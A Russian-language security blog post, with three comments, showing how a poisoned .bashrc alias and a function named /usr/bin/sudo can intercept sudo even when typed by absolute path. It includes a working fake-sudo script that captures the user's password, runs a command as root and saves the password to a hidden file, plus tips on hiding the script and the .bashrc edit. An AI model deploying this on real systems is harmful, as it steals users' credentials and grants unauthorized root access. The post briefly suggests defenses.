Так ли безопасно использование абсолютного пути в *nix системах, как мы привыкли считать?

Идея редактирования переменных окружения пользователя для повышения прав при тестировании на проникновение стара как мир. По этой теме написано множество статей, и даже в книгах начали появляться советы по использованию абсолютного пути вместо относительного. Вот пример такого совета из довольно известной книги Unix и Linux. Руководство системного администратора (4 издание):
…
Рекомендуем взять за правило при вводе команды указывать полное имя, например /bin/su или /usr/bin/su, а не просто su. Это послужит определенной защитой от тех программ с именем su, которые преднамеренно были прописаны в переменной среды path злоумышленником, намеревавшимся собрать хороший "урожай” паролей.
…Но так ли это безопасно? Если вы тоже задавались этим вопросом, то добро пожаловать под кат.
Давайте по порядку. Допустим, мы попали на *nix сервер под учетной записью пользователя с ограниченными правами. Мы хотим получить права рута, но паролей мы не знаем. Допустим, мы перепробовали все стандартные способы повышения прав через ошибки в конфигурациях и различные эксплойты под ядро, но всё безрезультатно. Казалось бы, вариантов не осталось. Однако, если пользователь есть в группе sudo, то можно попробовать провернуть один трюк.
Идея заключается в том, что на большинстве *nix машин используется sudo для временного повышения прав. При использовании sudo пользователю требуется ввести его текущий пароль. Следовательно, знание пароля пользователя с доступом к sudo даёт нам рута.
Почти все современные *nix сервера используют bash или zsh в качестве стандартной командной оболочки. У них есть файлы конфигов (например, .bashrc для bash), которые хранятся в домашней директории. С их помощью можно изменить в командной оболочке почти всё. По умолчанию они имеют права 644 (-rw-r--r--), следовательно, владелец может их редактировать без особых проблем.
Суть заключается в том, что командные оболочки имеют alias`ы, с помощью которых можно укорачивать команды.
Например, стандартный alias из .bashrc:
alias ll='ls -alF'При вызове ll на самом деле будет вызываться ls –alF. Аналогично мы можем поступить с sudo:
alias sudo='echo PWNED'После этого выполнение команды sudo по относительному пути будет вызывать то, что мы указали в alias`е.

Использовать слеши в alias нельзя, поэтому абсолютный путь действительно является безопасным решением в данном случае. Так же абсолютный путь спасёт в случае редактирования переменной окружения PATH.
А теперь рассмотрим случай, в котором абсолютный путь не спасёт. В конфигурация можно создавать функции, которые работают аналогично alias`ам за исключением того, что в их именах можно использовать слеши:
function /usr/bin/sudo() {
echo PWNED
}Теперь вызов /usr/bin/sudo будет тоже выполнять наш код.

Следующий этап — написание скрипта, который будет вести себя аналогично sudo (спрашивать пароль и повышать права пользователя), но одновременно с этим перехватывать пароль пользователя и выполнять произвольный код с правами администратора.
В конце концов, мы получим исполнение нашего скрипта при попытке вызвать sudo через абсолютный или относительный путь.
Для начала пишем код ядовитого sudo:
#!/bin/bash
echo -n "[sudo] password for $LOGNAME: "
read -s password
echo
command='whoami'
eval "echo -e $password | sudo -S --prompt='' $command"
eval "echo -e $password | sudo -S --prompt='' $*"Он спрашивает пароль пользователя в стиле sudo, после чего сохраняет его в переменную, выполняет наш код с повышенными правами и затем выполняет то, что хотел пользователь.
Теперь прячем его в какую-нибудь неприметную папку (например ~/.local) и выставляем на него +x права не исполнение (chmod +x sudo). Имя файла нам, по сути, безразлично, так что лучше его тоже назвать как-нибудь неприметно (например, .config).
С помощью read -s password мы считываем пароль в переменную $password.
В переменной command='whoami' содержится команда, которую мы будем выполнять с повышенными правами.
Конструкция echo -e $password | sudo -S в данном случае используется для того, чтобы передать нашу переменную с паролем $password в sudo через stdin.--prompt='' нужно для того, чтобы реальное sudo не выводило сообщение о просьбе ввода пароля, когда мы к ней обратимся, иначе это будет выглядеть несколько подозрительно.
Теперь нужно найти полный путь до sudo с помощью whereis. Например, /usr/bin/sudo. Поправим .bashrc так, чтобы команды sudo и /usr/bin/sudo запускали наш скрипт. Для этого нужно записать в .bashrc (куда-нибудь в центр для неприметности) следующий код, который следует отредактировать под себя:
alias sudo='~/.local/.config'
function /usr/bin/sudo() {
eval "~/.local/.config $*"
}Проверяем:

Профит. Теперь попробуем сохранить пароль пользователя в файл. Для этого заменим текущую команду.
command="echo $password > ~/.local/.1"Пробуем:

Всё получилось. qwerty123 и есть пароль пользователя. Остаётся еще множество частных случаев, при которых наш скрипт может повести себя некорректно. Например, sudo su или sudo --help. Поскольку в этой статье мы рассматриваем только возможность реализации подобной атаки, то процесс доведения её до блеска я перекладываю на плечи читателя.
Теперь вы знаете, что использование абсолютного пути в *nix системах не так уж безопасно.
А теперь главный вопрос: как же защититься от возможной атаки? На мой взгляд, оптимальным вариантом будет разрешить редактирование .bashrc только из под root`а. Конечно, есть второй вариант, но он менее удобный и безопасный: постоянно проверять целостность конфигов.
Спасибо за внимание:)
Комментарии (3)
21 февраля 2017 в 17:32
0↑
↓
С одной стороны ничего принципиально нового, но с другой стороны — правда, все так и есть и мало кто об этом задумывается. Как правило в случае утечки рутовых доступов лучше сносить контейнер вообще нафиг, перед этим постаравшись забэкапить что возможно. У нас однажды году в 2012-м через один PHP-сайтик доставшийся в наследство от прошлых разработчиков ломали сервак сделав нечто подобное, залив код спионеривания пароля.
С тех пор пароли везде отключены, все движения и привелегии только по RSA-ключам и сайтики на PHP после кого-бы-то-нибыло ни за какие деньги не берем в обслуживание, особенно на каких-то сомнительных админках. Да и с 2013-го в работе только Ruby/Rails используем, через дефолтный деплой-паттерн по deploy-ключам, так что руками никто никуда не влезает вообще. На особо важных серверах доступ руту к ssh вообще заблокирован, только через отдельного пользователя по ключам.
А если быть честным — никогда нельзя быть ни от чего застрахованным и произойти может что угодно. На любую меру безопасности есть контр-мера, вопрос только в том чтобы найти оптимальный уровень удобный для работы, но при этом относительно безопасный.21 февраля 2017 в 17:33
0↑
↓
А теперь главный вопрос: как же защититься от возможной атаки?
* Для «анонимов» делать отдельную учетную запись, в убунте есть «гостевая сессия».
* Если подключение через ssh — авторизоваться заново сразу в рута ключами (т.е. без использования sudo).21 февраля 2017 в 17:36
0↑
↓
Круто, спасибо за ещё один метод. Однако функции можно объявлять и прямо в оболочке, так что проверка конфига не спасёт:
